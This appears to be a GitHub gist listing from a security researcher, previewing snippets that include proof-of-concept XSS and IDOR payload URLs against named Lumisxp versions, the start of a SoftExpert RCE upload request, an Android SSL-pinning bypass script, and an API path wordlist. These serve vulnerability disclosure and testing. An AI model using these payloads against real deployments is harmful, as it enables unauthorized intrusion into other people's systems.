Skip to content

Instantly share code, notes, and snippets.

View rodnt's full-sized avatar
:shipit:
see no evil ~ learning..

(0xz41) rodnt

:shipit:
see no evil ~ learning..
46 followers · 129 following
View GitHub Profile
@rodnt
rodnt / fixPerm.sh
Created May 25, 2024 17:37
Fix iOS binary entitlements/access for "Operation not permitted"
#!/bin/bash
# Author: 0xz41 feat Shoaloak
# Description: Fix iOS binary entitlements/access for "Operation not permitted"
ENTITLEMENT="com.apple.private.security.container-manager"
binaries=(
"sh" "bash" "zsh" "dash"
"ls" "cat" "find" "cp" "mv"
"rm" "mkdir" "rmdir" "touch"
"file" "ln" "du" "scp"
@rodnt
rodnt / SeSuite.md
Created May 6, 2024 19:48
Exploit Softexpert version 2.1 RCE 
POST /se/v54285/form/efms_exec_html/file_upload_parser.php HTTP/2
Host: localhost
Cookie: se-authentication-token=7dd277d81ca7b14db919a1c1e46c18dc36f7; mode=deploy
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------239428381620151611771983433321
Content-Length: 471
@rodnt
rodnt / idor-lumis.md
Created April 16, 2024 20:08
IDOR Lumisxp 15.0.x <= 16.1.x

Payload: /main.jsp?lumChannelId=00000000F00000000000000000000002&lumPageId=LumisBlankPage&lumRTI=lumis.service.doui.selectstructureelement.selectPage&pageId=

  • Request

image

  • Response

image

@rodnt
rodnt / xss3-lumisxp.md
Created April 16, 2024 20:03
Unauthenticated XSS Lumisxp 15.0.x <= 16.1.x pageId parameter

Payload: GET /main.jsp?lumChannelId=00000000F00000000000000000000002&lumPageId=LumisBlankPage&lumRTI=lumis.service.doui.selectstructureelement.selectPage&pageId=%22%2c%20print()%2c%0d%22aaa

  • Request image

  • Response image

Author: Rodolfo Tavares

@rodnt
rodnt / xss2-lumisxp.md
Created April 16, 2024 20:00
Unauthenticated XSS Lumisxp 15.0.x <= 16.1.x UrlAccessibilityEvaluation.jsp

Payload: GET /lumis/service/htmlevaluation/UrlAccessibilityEvaluation.jsp?contentHtml=%3cp%3e%3ci%20id%3d%22run-code-button%22%20lang%3d%22xml%22%20title%3d%22Run%20Code%20and%20See%20Output%22%3e%3c%2fi%3e%3c%2fp%3e%0a%0a%3cp%3e%3ci%20title%3d%22Light%20Mode%22%3e%3c%2fi%3e%3c%2fp%3e%0a%0a%3ctable%20border%3d%220%22%20cellpadding%3d%220%22%20cellspacing%3d%220mmdfn%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt

-Request image

  • Response image

Author: Rodolfo Tavares

@rodnt
rodnt / xss-lumisxp.md
Last active May 6, 2024 19:05
Unauthenticated XSS Lumisxp 15.0.x <= 16.1.x XsltResultControllerHtml.jsp

GET request: GET /portal/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=%3cscript%3econfirm(1)%3c%2fscript%3e&xslContentFilePath=

  • Request Proof.txt image

  • Execute Payload image

@rodnt
rodnt / mixunpinv2.js
Created December 26, 2023 19:47
Bypass Common SSL Pinning Android
/**
* by rodnt
* twitter: 0xrodnt
* Github: rodnt
*/
const config = {
flutterPatterns: {
android: "F? 0F 1C F8 F? 5? 01 A9 F? 5? 02 A9 F? ?? 03 A9 ?? ?? ?? ?? 68 1A 40 F9"
},
@rodnt
rodnt / paths.txt
Created December 5, 2023 17:18
Common api paths.. swagger..openapi..
/swagger-ui.html
/swagger-ui/
/swagger-ui/index.html
/api-docs
/v2/api-docs
/v3/api-docs
/swagger.json
/openapi.json
/api/swagger.json
/docs
@rodnt
rodnt / win11Pendrive.sh
Created December 2, 2023 10:20
Windows 11 bootable pendrive script
#!/bin/bash
# Function to select the USB device
select_usb_device() {
echo "Available USB devices:"
local devices=(/dev/sd*)
select usb_device in "${devices[@]}"; do
if [ -z "$usb_device" ]; then
echo "Invalid selection, please try again."
else
@rodnt
rodnt / pwntools-cheatsheet.md
Created September 17, 2023 21:02 — forked from anvbis/pwntools-cheatsheet.md
pwntools-cheatsheet.md